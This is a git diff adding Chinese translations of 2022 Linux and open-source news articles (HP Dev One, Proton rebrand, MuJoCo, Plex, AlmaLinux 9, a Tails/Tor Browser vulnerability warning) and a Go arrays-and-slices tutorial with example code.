https://news.itsfoss.com/wp-content/uploads/2022/05/c-linux-5-18-1024x576.jpg +[7]: https://news.itsfoss.com/wp-content/uploads/2022/05/networking-linux-5-18-1024x576.jpg +[8]: https://lore.kernel.org/lkml/Yj7vGtn8fILavjyL@kroah.com/ +[9]: https://news.itsfoss.com/wp-content/uploads/2022/05/apple-linux-5-18-1024x576.jpg +[10]: https://lore.kernel.org/lkml/nycvar.YFH.7.76.2203231015060.24795@cbobk.fhfr.pm/ +[11]: https://news.itsfoss.com/wp-content/uploads/2022/05/arm-linux-5-18-1024x576.jpg +[12]: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=baaa68a9796ef2cadfe5caaf4c730412eda0f31c +[13]: https://lore.kernel.org/lkml/CAHk-=wjiqyoH6qntYvYTjR1F2L-pHtgX9esZMRS13iktCOJ1zA@mail.gmail.com/T/#u +[14]: https://www.kernel.org/ +[15]: https://git.kernel.org/torvalds/t/linux-5.16.tar.gz +[16]: https://itsfoss.com/upgrade-linux-kernel-ubuntu/ diff --git a/published/202205/20220523 System76 Collaborates with HP for a Powerful Linux Laptop for Developers.md b/published/202205/20220523 System76 Collaborates with HP for a Powerful Linux Laptop for Developers.md new file mode 100644 index 0000000000..ad1edfd55d --- /dev/null +++ b/published/202205/20220523 System76 Collaborates with HP for a Powerful Linux Laptop for Developers.md @@ -0,0 +1,75 @@ +[#]: subject: "System76 Collaborates with HP for a Powerful Linux Laptop for Developers" +[#]: via: "https://news.itsfoss.com/hp-dev-one-system76/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14645-1.html" + +System76 与惠普合作为开发者提供功能强大的 Linux 笔记本电脑 +====== + +> 惠普正在以开箱即用的 Pop!_OS 为特色进入 Linux 硬件市场,貌似有点激动人心?还是先来看一看吧! + +![hp][1] + +System76 不是早就自己生产 Linux 笔记本电脑了吗?那么,这次和惠普合作是怎么回事? + +嗯,这一次是惠普要发行一款 Linux 笔记本电脑,搭载 Pop!_OS,也就是 System76 的基于 Ubuntu 的 Linux 发行版。 + +Carl Richell(System76 的创始人)在他的 Twitter 上宣布了这一消息,并附带了一个网站链接,该网站提供了更多相关信息。推文如下: + +> Hp-Pop 好耶!来看看这个:[https://t.co/gf2brjjUl8][2] + +### HP Dev One:专为开发者打造的 Linux 笔记本电脑 + +一方面,System76 笔记本电脑与 Pop!_OS 有着开箱即用硬件兼容性,因此它备受赞誉。 + +另一方面,Pop!_OS 也与笔记本电脑完美搭配,适配没有太多麻烦。 + +Pop!_OS 也一直在推出更新和新增功能,以改进工作流程并充分利用 Linux 的可用硬件。 + +此时,和惠普合作听起来是一个提高档次的好主意。 + +![HP System76][3] + +所以说,Pop!_OS 和惠普合作的想法有点激动人心啊! + +挂上了惠普这个牌子,笔记本电脑的可用性/保修(在纸面上)就比 System76 要好了,考虑到后者在某些地区是不提供保修的。 + +### AMD 驱动的笔记本电脑可帮助你更好地写代码 + +HP Dev One 似乎是把“为开发者提供多任务处理的能力,从而快速完成任务”作为卖点。 + +这款笔记本电脑的入门款搭载了 **8 核的 AMD Ryzen 7 PRO 处理器** 和 **16 GB RAM**(DDR4 @ 3200 MHz)。 + +预计它还会搭载由 AMD Radeon Graphics 提供支持的 14 英寸全高清防眩光显示屏。 + +对于 HP Dev One,Carl Richell 提到了这款笔记本电脑将通过 [LVFS][5](Linux 供应商固件服务)接收**固件更新**。 + +他还提到,这款笔记本电脑(以上规格)的定价为 **1099 美元** 起。 + +网站上只显示了它即将推出。因此,我们目前还不知道正式的发布日期。 + +对于像惠普这样的商业制造商来说,笔记本电脑的定价听起来并不令人兴奋(LCTT 译注:毕竟不是国内互联网品牌的笔记本),但可能是一个划算的交易。 + +你怎么看这款惠普笔记本电脑(运行 Linux、为开发者量身定制)的定价?你觉得这个价格合理吗?你对这款笔记本电脑有什么期望呢? + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/hp-dev-one-system76/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/05/hpdevone-laptop.jpg +[2]: https://t.co/gf2brjjUl8 +[3]: https://news.itsfoss.com/wp-content/uploads/2022/05/hpdevone-illustration-1024x576.jpg +[4]: https://fwupd.org/ diff --git a/published/202205/20220525 ProtonMail is Now Just -Proton- Offering a Privacy Ecosystem.md b/published/202205/20220525 ProtonMail is Now Just -Proton- Offering a Privacy Ecosystem.md new file mode 100644 index 0000000000..2676f438a1 --- /dev/null +++ b/published/202205/20220525 ProtonMail is Now Just -Proton- Offering a Privacy Ecosystem.md @@ -0,0 +1,92 @@ +[#]: subject: "ProtonMail is Now Just ‘Proton’ Offering a Privacy Ecosystem" +[#]: via: "https://news.itsfoss.com/protonmail-now-proton/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14652-1.html" + +ProtonMail 改名为 “Proton”,致力于提供一个隐私生态系统 +====== + +> ProtonMail 宣布了重塑后的品牌,包括新网站、新名称、新的定价计划、新的 UI 和其他变化。 + +![proton][1] + +[ProtonMail][2] 将自己重新命名为 “Proton”,以将其所有产品囊括在统一的品牌下。 + +注意,别把它和 Steam 的 Proton(它也简称为 Proton)混淆哦! + +换句话说,ProtonMail、ProtonVPN 和它的任何服务将不再有单独的产品页面。 + +### Proton:一个开源隐私生态系统 + +![更新后的 Proton,统一保护][3] + +Proton 将拥有一个新的统一平台(新网站),你可以在其中访问所有服务,包括: + +* Proton 邮件 +* Proton VPN +* Proton 网盘 +* Proton 日历 + +现在,新的登录会话将会被重定向到 `proton.me` 而不是 `protonmail.com`、`mail.protonmail.com`、`protonvpn.com` 等等。 + +不仅限于名称/品牌,整体的强调色和现有的用户体验,也将受到影响。 + +![][4] + +现在,你只需一次付费订阅即可获得全部服务,而不必单独升级 VPN 和邮件。这也意味着,经过这次改变,高级订阅的价格变得更加实惠了。 + +![][5] + +总体而言,让 “Proton” 成为隐私生态系统,是为了吸引更多对技术细节不感兴趣的用户来了解它是如何运作的。 + +你可以在其新的官方网站([proton.me][6])上查看所有详细信息。 + +新网站看起来更干净、更有条理,并且更具商业吸引力。 + +### 本次更改的内容 + +你可以期待有一个焕然一新的用户界面,包括新的品牌和新的网站。 + +![proton][7] + +除此之外,Proton 还提到它改进了服务之间的集成,以获得更好的用户体验。 + +![][8] + +如果你已经在使用 ProtonMail,你可能知道,他们正在主动建议现有用户激活 “@proton.me” 帐户,这也是本次更改的一部分。 + +你可以选择将新电子邮件地址 xyz@proton.me 设为默认值,它更短,看起来也更有意义一些。 + +* 旧的电子邮件地址不会消失,只是额外提供了新地址(@proton.me)。 +* 现有的付费订阅者应该可以免费获得存储空间提升。 +* 升级了网页和移动应用中的用户体验。 +* 新的官方网站(你将被自动重定向到它以进行新会话)。 +* 新的定价计划,为 Proton 网盘提供更多存储空间。 + +你对本次变更感兴趣吗?你喜欢 Proton 的新名字和新的服务方式吗?请在下方评论中分享你的想法吧! + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/protonmail-now-proton/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/05/proton-ft.jpg +[2]: https://itsfoss.com/recommends/protonmai +[3]: https://youtu.be/s5GNTQ63HJE +[4]: https://news.itsfoss.com/wp-content/uploads/2022/05/proton-ui-new-1024x447.jpg +[5]: https://news.itsfoss.com/wp-content/uploads/2022/05/proton-pricing-1024x494.jpg +[6]: https://proton.me/ +[7]: https://news.itsfoss.com/wp-content/uploads/2022/05/Proton-me-website.png +[8]: https://news.itsfoss.com/wp-content/uploads/2022/05/Proton-Product.png diff --git a/published/202205/20220526 DeepMind-s Open Source MuJoCo Is Available On GitHub.md b/published/202205/20220526 DeepMind-s Open Source MuJoCo Is Available On GitHub.md new file mode 100644 index 0000000000..4a21ef7ecf --- /dev/null +++ b/published/202205/20220526 DeepMind-s Open Source MuJoCo Is Available On GitHub.md @@ -0,0 +1,59 @@ +[#]: subject: "DeepMind’s Open Source MuJoCo Is Available On GitHub" +[#]: via: "https://www.opensourceforu.com/2022/05/deepminds-open-source-mujoco-is-available-on-github/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14650-1.html" + +DeepMind 的开源物理引擎 MuJoCo 已在 GitHub 发布 +====== + +![deepmind1][1] + +DeepMind 是 Alphabet 的子公司和 AI 研究实验室,在 2021 年 10 月,它收购了用于机器人研发的 MuJoCo 物理引擎,并承诺该模拟器将作为免费、开源、社区驱动的项目进行维护。现在,DeepMind 声称开源计划已完成,它的整个代码库 [可在 GitHub 上获得][2]。 + +MuJoCo 是 “Multi-Joint Dynamics with Contact” 的缩写,它是一个物理引擎,旨在帮助机器人、生物力学、图形和动画等领域的研究和开发(也包括其他需要快速准确模拟的领域)。MuJoCo 可用于帮助机器学习应用实现基于模型的计算,例如控制综合control synthesis状态估计state estimation系统识别system identification机制设计mechanism design、通过逆动力学inverse dynamics来进行数据分析,以及并行采样parallel sampling。它也可以用作标准模拟器,例如用于游戏和交互式虚拟环境。(LCTT 译注:这段话中涉及到不少专业词汇,鉴于译者水平有限,若有谬误,请在评论中指出,同时也欢迎在评论中科普,一起学习~) + +根据 DeepMind 的说法,以下是 MuJoCo 适合协作的一些功能: + +* 能够模拟复杂机制的综合模拟器 +* 可读、高性能、可移植的代码 +* 易于扩展的代码库 +* 丰富的文档,包括面向用户的和代码注释 —— 我们希望学术界和 OSS 社区的同事能够使用这个平台并为代码库做出贡献,从而改善所有人的研究 + +DeepMind 还说: + +> “作为没有动态内存分配的 C 库,MuJoCo 非常快。不幸的是,原始物理速度一直受到 Python 包装器的阻碍:全局解释器锁(GIL)和非编译代码的存在,使得批处理、多线程操作无法执行。在下面的路线图中,我们将解决这个问题。” + +(LCTT 译注: 这里补充了原文没有提及的路线图和基准测试结果。) + +路线图: + +* 通过批处理、多线程模拟释放 MuJoCo 的速度潜力 +* 通过改进内部内存管理支持更大的场景 +* 新的增量编译器,带来更好的模型可组合性 +* 通过 Unity 集成支持更好的渲染 +* 对物理导数的原生支持,包括解析和有限差分 + +> “目前,我们想分享两个常见模型的基准测试结果。注意,这个结果是在运行 Windows 10 的标准 AMD Ryzen 9 5950X 机器上获得的。” + +![基准测试结果][3] + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/05/deepminds-open-source-mujoco-is-available-on-github/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/05/deepmind1.jpg +[2]: https://github.com/deepmind/mujoco +[3]: https://assets-global.website-files.com/621e749a546b7592125f38ed/628b971675cb60d74f5fa189_2A54E864-FE90-49E4-8E58-FE40298303E2.jpeg diff --git a/published/202205/20220526 Plex Desktop Player is Now Available for Linux.md b/published/202205/20220526 Plex Desktop Player is Now Available for Linux.md new file mode 100644 index 0000000000..af12ffedbf --- /dev/null +++ b/published/202205/20220526 Plex Desktop Player is Now Available for Linux.md @@ -0,0 +1,76 @@ +[#]: subject: "Plex Desktop Player is Now Available for Linux" +[#]: via: "https://news.itsfoss.com/plex-desktop-linux/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14656-1.html" + +Plex 桌面播放器现已支持 Linux +====== + +> Plex.tv 终于增加了 Linux 桌面版本和全新的 HTPC 应用。不过,它目前只提供了 Snap 包。 + +![plex][1] + +Plex 是一个流行的流媒体播放器,同时,它能够用作一个媒体服务器软件。 + +事实上,它也是 [Linux 上最好的媒体服务器软件][2] 之一。 + +是的,这个媒体服务器已经支持 Linux,而且还提供了一个 [包含安装步骤的教程][3]。 + +### Linux 上的 Plex 桌面播放器提供 Snap 包 + +我知道很多人都不喜欢使用 Snap 包来安装这个桌面播放器。但现在,这个桌面播放器已在 Snap 商店中提供,你可以轻松地在任何 Linux 发行版上安装它。 + +![][4] + +幸运的是,这个桌面播放器的 [公告][5] 还提到他们正在开发一个 **Flatpak 包**,它应该会在近期登陆 Flathub。 + +这样一来,借助 Flatpak 和 Snap 软件包,Plex 就可以成为在 Linux 上流式传输和组织个人媒体收藏的绝佳选择。 + +除了桌面应用程序,如果你利用你的 Linux 机器连接到一个大屏幕来观看所有的内容,还有一个 Plex HTPC(有计划发布 Flatpak 软件包)。 + +![][6] + +顺便说一句,HTPC 是 PMP TV(全称为 Plex Media Player TV)模式的继承者。 + +他们在官网上与它的 Linux 桌面应用程序一同发布了这款产品。 + +使用 HTPC,这个桌面应用就可以和电视共享,并支持音频直通、刷新率切换、控制器和可配置输入映射等高级功能。 + +![][7] + +因此,如果你有一个大屏幕,并且想要连接你的系统(不管是什么桌面平台)的话,你现在可以使用 HTPC 应用程序来完成。 + +> **[Plex 桌面版][8]** + +> **[Plex HTPC][9]** + +在 Linux 系统或联网电视上流式传输内容时,你通常会使用什么呢?你觉得 Plex 能满足你的需求吗?即然它支持 Linux 了,你会想要用它来替代当前使用的软件吗? + +欢迎在评论区告诉我们你的想法! + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/plex-desktop-linux/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/05/plex-ft.jpg +[2]: https://itsfoss.com/best-linux-media-server/ +[3]: https://itsfoss.com/install-plex-ubuntu/ +[4]: https://news.itsfoss.com/wp-content/uploads/2022/05/plex-desktop-ubuntu.jpg +[5]: https://www.plex.tv/blog/way-to-be-htpc/ +[6]: https://news.itsfoss.com/wp-content/uploads/2022/05/plex-snap-1024x524.jpg +[7]: https://news.itsfoss.com/wp-content/uploads/2022/05/plex-feat-1024x576.jpg +[8]: https://snapcraft.io/plex-desktop +[9]: https://snapcraft.io/plex-htpc diff --git a/published/202205/20220527 AlmaLinux Continues the Legacy of CentOS with the Release of Version 9.md b/published/202205/20220527 AlmaLinux Continues the Legacy of CentOS with the Release of Version 9.md new file mode 100644 index 0000000000..e2515dc7e9 --- /dev/null +++ b/published/202205/20220527 AlmaLinux Continues the Legacy of CentOS with the Release of Version 9.md @@ -0,0 +1,81 @@ +[#]: subject: "AlmaLinux Continues the Legacy of CentOS with the Release of Version 9" +[#]: via: "https://news.itsfoss.com/almalinux-9-release/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "PeterPan0106" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14644-1.html" + +CentOS 的继承者 AlmaLinux 9 发布 +====== + +> AlmaLinux 9 是基于 Red Hat Enterprise Linux 9 的最新版本,添加了新的壁纸并进一步增强了性能。 + +![almalinux][1] + +如果你一直在关注我们的话,应当知道 [AlmaLinux 9.0 测试版][2] 已于上月发布。 + +AlmaLinux 是目前 [最好的 RHEL 替代版][3] 之一。其最新的稳定版是基于 RHEL 9 的,这也成为了 CentOS 的一个很好的替代品。 + +最新的 AlmaLinux 9 支持所有主流架构,包括 Intel/AMD(x86_64)、ARM64 (aarch64)、IBM PowerPC(ppc64le)和 IBM Z(s390x)。 + +### AlmaLinux 9.0 有哪些改变呢 + +AlmaLinux 9.0 在这个版本中使用了 Linux 内核 5.14。它包括对云和容器开发的改进,以及对网络控制台的完善。 + +还包括其他变化带来的性能改进。更新包括: + +#### 新壁纸 + +![AlmaLinux 9][4] + +在 AlmaLinux 9.0 中,更新了一些新的壁纸。 + +这些新的壁纸看起来很美观,并提供了更丰富的选择。 + +#### Linux 内核 5.14 + +最大的变化是升级到了 Linux 内核 5.14,它带来了更新的硬件支持,以及其他各种改进。 + +Linux 内核 5.14 的改进详见 [这篇文章][5]。 + +#### 更新的软件包 + +这个版本带有新的软件包更新。其中包括 Git 2.31、PHP 8.0、Perl 5.32 和 MySQL 8.0。 + +GCC 也被更新到最新的 GCC 11。 + +其它更新包括 Python 3.9 和最新版的 LLVM、Rust 和 Go compilers,使应用程序的现代化更快、更容易。 + +更多技术方面的更新详见 [官方更新日志][6]。 + +### 下载 AlmaLinux 9.0 + +你可以在 [官方镜像网站][7] 下载最新的镜像。在镜像站也包含了 .torrent 文件的下载选项。 + +> **[AlmaLinux 9.0][8]** + +*你认为基于 RHEL 的最新版 AlmaLinux 9.0 怎么样呢?你有计划在服务器上迁移到最新的版本吗?欢迎评论。* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/almalinux-9-release/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[PeterPan0106](https://github.com/PeterPan0106) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/05/alma-linux-9.jpg +[2]: https://linux.cn/article-14500-1.html +[3]: https://itsfoss.com/rhel-based-server-distributions/ +[4]: https://news.itsfoss.com/wp-content/uploads/2022/05/alma-linux-wallpapers-9-1024x609.jpg +[5]: https://news.itsfoss.com/kernel-5-14-release/ +[6]: https://wiki.almalinux.org/release-notes/9.0.html +[7]: https://mirrors.almalinux.org/isos.html +[8]: https://mirrors.almalinux.org/isos.html diff --git a/published/202205/20220527 Tails Linux Users Warned Against Using the Tor Browser- Here-s why!.md b/published/202205/20220527 Tails Linux Users Warned Against Using the Tor Browser- Here-s why!.md new file mode 100644 index 0000000000..f30dae7372 --- /dev/null +++ b/published/202205/20220527 Tails Linux Users Warned Against Using the Tor Browser- Here-s why!.md @@ -0,0 +1,72 @@ +[#]: subject: "Tails Linux Users Warned Against Using the Tor Browser: Here’s why!" +[#]: via: "https://news.itsfoss.com/tails-tor-browser/" +[#]: author: "Rishabh Moharir https://news.itsfoss.com/author/rishabh/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14654-1.html" + +Tails 警告用户不要使用 Tor 浏览器:原因如下! +====== + +> Tails 5.1 将针对“可绕过 Tor 浏览器安全措施的危险漏洞”提供关键修复。以下是它的全部内容。 + +![Tails][1] + +Tails 是一个专注于安全的便携式 Linux 发行版,最近,它的开发团队发布了有关其当前版本的重要公告。他们警告用户在 **Tails 5.0 或更早版本** 上使用 Tor 浏览器时,避免输入或使用任何个人或敏感信息。 + +Tor 浏览器是 Tails 事实上的(默认)网页浏览器,它有助于在用户连接到互联网时,保护他们的在线身份。它主要被各种记者和活动家用来逃避审查。不过,普通用户也可以使用它。 + +### 问题说明 + +最近,有人发现了两个令人讨厌的漏洞,它们允许有害网站能够从其他网站窃取用户的信息。 + +这些都是在 Firefox 使用的 JavaScript 引擎中发现的。 + +但是,Tor 与此有什么关系?对于那些不知道的人来说,Tor 实际上是 Firefox 的一个复刻,因此包含许多类似的功能,如 JavaScript 引擎。 + +具体来说,在 [Mozilla 发布的公告][2] 中,这些漏洞已被确定为 CVE-2022-1802 和 CVE-2022-1529。 + +Tails 公告中也对此进行了说明: + +> “例如,在你访问恶意网站后,控制该网站的攻击者可能会在同一个 Tails 会话期间,访问你随后发送到其他网站的密码或其他敏感信息。” + +### 你应该停止使用 Tail 发行版吗? + +没有这个必要。 + +用户会很高兴地知道,这些漏洞并不影响 Tor 的连接。这意味着,如果你不交换任何敏感信息,如密码、个人信息、信息等,你可以随意地浏览互联网。 + +Tails 中的其他应用程序,尤其是 Thunderbird,仍然可以安全使用,因为 JavaScript 在使用时会被禁用。 + +此外,你也可以在 Tor 浏览器中启用最高的安全级别。这是推荐的,因为(该级别下)JavaScript 引擎会被禁用。不过,请注意,这会使网站无法正常运行。 + +换句话说,如果你知道自己在做什么的话,Tails 发行版仍然可以安全使用。 + +### 漏洞修复即将发布 + +好的消息是,Mozilla 已经在上游修补了这些错误,现在就等 Tails 团队发布修复程序了。 + +至于何时发布,他们是这样说的: + +> 此漏洞将在 Tails 5.1(**5 月 31 日**)中修复,但我们的团队没有能力提前发布紧急版本。 + +因此,你最好的选择是等待下周的 Tails 5.1 发布。你可以阅读 Tails 开发团队的 [官方公告][3] 以了解更多信息。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/tails-tor-browser/ + +作者:[Rishabh Moharir][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/rishabh/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/wp-content/uploads/2022/05/tails-5-0-privacy-issue.jpg +[2]: https://www.mozilla.org/en-US/security/advisories/mfsa2022-19/ +[3]: https://tails.boum.org/security/prototype_pollution/index.en.html diff --git a/published/202206/20180712 An introduction to Go arrays and slices.md b/published/202206/20180712 An introduction to Go arrays and slices.md new file mode 100644 index 0000000000..9dcac9545c --- /dev/null +++ b/published/202206/20180712 An introduction to Go arrays and slices.md @@ -0,0 +1,214 @@ +[#]: subject: "An introduction to Go arrays and slices" +[#]: via: "https://opensource.com/article/18/7/introduction-go-arrays-and-slices" +[#]: author: "Mihalis Tsoukalos https://opensource.com/users/mtsouk" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14665-1.html" + +Go 数组和切片的介绍 +====== + +![](https://img.linux.net.cn/data/attachment/album/202206/02/105657zahhco3612vv1bbo.jpg) + +> 了解使用数组和切片在 Go 中存储数据的优缺点,以及为什么其中一个更好。 + +在本系列的第四篇文章中,我将解释 [Go][5] 数组和切片,包括如何使用它们,以及为什么你通常要选择其中一个而不是另一个。 + +### 数组 + +数组是编程语言中最流行的数据结构之一,主要原因有两个:一是简单易懂,二是可以存储许多不同类型的数据。 + +你可以声明一个名为 `anArray` 的 Go 数组,该数组存储四个整数,如下所示: + +``` +anArray := [4]int{-1, 2, 0, -4} +``` + +数组的大小应该在它的类型之前声明,而类型应该在声明元素之前定义。`len()` 函数可以帮助你得到任何数组的长度。上面数组的大小是 4。 + +如果你熟悉其他编程语言,你可能会尝试使用 `for` 循环来遍历数组。Go 当然也支持 `for` 循环,不过,正如你将在下面看到的,Go 的 `range` 关键字可以让你更优雅地遍历数组或切片。 + +最后,你也可以定义一个二维数组,如下: + +``` +twoD := [3][3]int{ + {1, 2, 3}, + {6, 7, 8}, + {10, 11, 12}} +``` + +`arrays.go` 源文件中包含了 Go 数组的示例代码。其中最重要的部分是: + +``` +for i := 0; i < len(twoD); i++ { + k := twoD[i] + for j := 0; j < len(k); j++ { + fmt.Print(k[j], " ") + } + fmt.Println() +} + +for _, a := range twoD { + for _, j := range a { + fmt.Print(j, " ") + } + fmt.Println() +} +``` + +通过上述代码,我们知道了如何使用 `for` 循环和 `range` 关键字迭代数组的元素。`arrays.go` 的其余代码则展示了如何将数组作为参数传递给函数。 + +以下是 `arrays.go` 的输出: + +``` +$ go run arrays.go +Before change(): [-1 2 0 -4] +After change(): [-1 2 0 -4] +1 2 3 +6 7 8 +10 11 12 +1 2 3 +6 7 8 +10 11 12 +``` + +这个输出告诉我们:对函数内的数组所做的更改,会在函数退出后丢失。 + +### 数组的缺点 + +Go 数组有很多缺点,你应该重新考虑是否要在 Go 项目中使用它们。 + +首先,数组定义之后,大小就无法改变,这意味着 Go 数组不是动态的。简而言之,如果你需要将一个元素添加到一个没有剩余空间的数组中,你将需要创建一个更大的数组,并将旧数组的所有元素复制到新数组中。 + +其次,当你将数组作为参数传递给函数时,实际上是传递了数组的副本,这意味着你对函数内部的数组所做的任何更改,都将在函数退出后丢失。 + +最后,将大数组传递给函数可能会很慢,主要是因为 Go 必须创建数组的副本。 + +以上这些问题的解决方案,就是使用 Go 切片。 + +### 切片 + +Go 切片与 Go 数组类似,但是它没有后者的缺点。 + +首先,你可以使用 `append()` 函数将元素添加到现有切片中。此外,Go 切片在内部使用数组实现,这意味着 Go 中每个切片都有一个底层数组。 + +切片具有 `capacity` 属性和 `length` 属性,它们并不总是相同的。切片的长度与元素个数相同的数组的长度相同,可以使用 `len()` 函数得到。切片的容量是当前为切片分配的空间,可以使用 `cap()` 函数得到。 + +由于切片的大小是动态的,如果切片空间不足(也就是说,当你尝试再向切片中添加一个元素时,底层数组的长度恰好与容量相等),Go 会自动将它的当前容量加倍,使其空间能够容纳更多元素,然后将请求的元素添加到底层数组中。 + +此外,切片是通过引用传递给函数的,这意味着实际传递给函数的是切片变量的内存地址,这样一来,你对函数内部的切片所做的任何修改,都不会在函数退出后丢失。因此,将大切片传递给函数,要比将具有相同数量元素的数组传递给同一函数快得多。这是因为 Go 不必拷贝切片 —— 它只需传递切片变量的内存地址。 + +`slice.go` 源文件中有 Go 切片的代码示例,其中包含以下代码: + +``` +package main + +import ( + "fmt" +) + +func negative(x []int) { + for i, k := range x { + x[i] = -k + } +} + +func printSlice(x []int) { + for _, number := range x { + fmt.Printf("%d ", number) + } + fmt.Println() +} + +func main() { + s := []int{0, 14, 5, 0, 7, 19} + printSlice(s) + negative(s) + printSlice(s) + + fmt.Printf("Before. Cap: %d, length: %d\n", cap(s), len(s)) + s = append(s, -100) + fmt.Printf("After. Cap: %d, length: %d\n", cap(s), len(s)) + printSlice(s) + + anotherSlice := make([]int, 4) + fmt.Printf("A new slice with 4 elements: ") + printSlice(anotherSlice) +} +``` + +切片和数组在定义方式上的最大区别就在于:你不需要指定切片的大小。实际上,切片的大小取决于你要放入其中的元素数量。此外,`append()` 函数允许你将元素添加到现有切片 —— 请注意,即使切片的容量允许你将元素添加到该切片,它的长度也不会被修改,除非你调用 `append()`。上述代码中的 `printSlice()` 函数是一个辅助函数,用于打印切片中的所有元素,而 `negative()` 函数将切片中的每个元素都变为各自的相反数。 + +运行 `slice.go` 将得到以下输出: + +``` +$ go run slice.go +0 14 5 0 7 19 +0 -14 -5 0 -7 -19 +Before. Cap: 6, length: 6 +After. Cap: 12, length: 7 +0 -14 -5 0 -7 -19 -100 +A new slice with 4 elements: 0 0 0 0 +``` + +请注意,当你创建一个新切片,并为给定数量的元素分配内存空间时,Go 会自动地将所有元素都初始化为其类型的零值,在本例中为 0(`int` 类型的零值)。 + +### 使用切片来引用数组 + +Go 允许你使用 `[:]` 语法,使用切片来引用现有的数组。在这种情况下,你对切片所做的任何更改都将传播到数组中 —— 详见 `refArray.go`。请记住,使用 `[:]` 不会创建数组的副本,它只是对数组的引用。 + +`refArray.go` 中最有趣的部分是: + +``` +func main() { + anArray := [5]int{-1, 2, -3, 4, -5} + refAnArray := anArray[:] + + fmt.Println("Array:", anArray) + printSlice(refAnArray) + negative(refAnArray) + fmt.Println("Array:", anArray) +} +``` + +运行 `refArray.go`,输出如下: + +``` +$ go run refArray.go +Array: [-1 2 -3 4 -5] +-1 2 -3 4 -5 +Array: [1 -2 3 -4 5] +``` + +我们可以发现:对 `anArray` 数组的切片引用进行了操作后,它本身也被改变了。 + +### 总结 + +尽管 Go 提供了数组和切片两种类型,你很可能还是会使用切片,因为它们比 Go 数组更加通用、强大。只有少数情况需要使用数组而不是切片,特别是当你完全确定元素的数量固定不变时。 + +你可以在 [GitHub][6] 上找到 `arrays.go`、`slice.go` 和 `refArray.go` 的源代码。 + +如果你有任何问题或反馈,请在下方发表评论或在 [Twitter][7] 上与我联系。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/18/7/introduction-go-arrays-and-slices + +作者:[Mihalis Tsoukalos][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/mtsouk +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/traffic-light-go.png +[2]: https://opensource.com/article/18/5/creating-random-secure-passwords-go +[3]: https://opensource.com/article/18/5/building-concurrent-tcp-server-go +[4]: https://opensource.com/article/18/6/copying-files-go +[5]: https://golang.org/ +[6]: 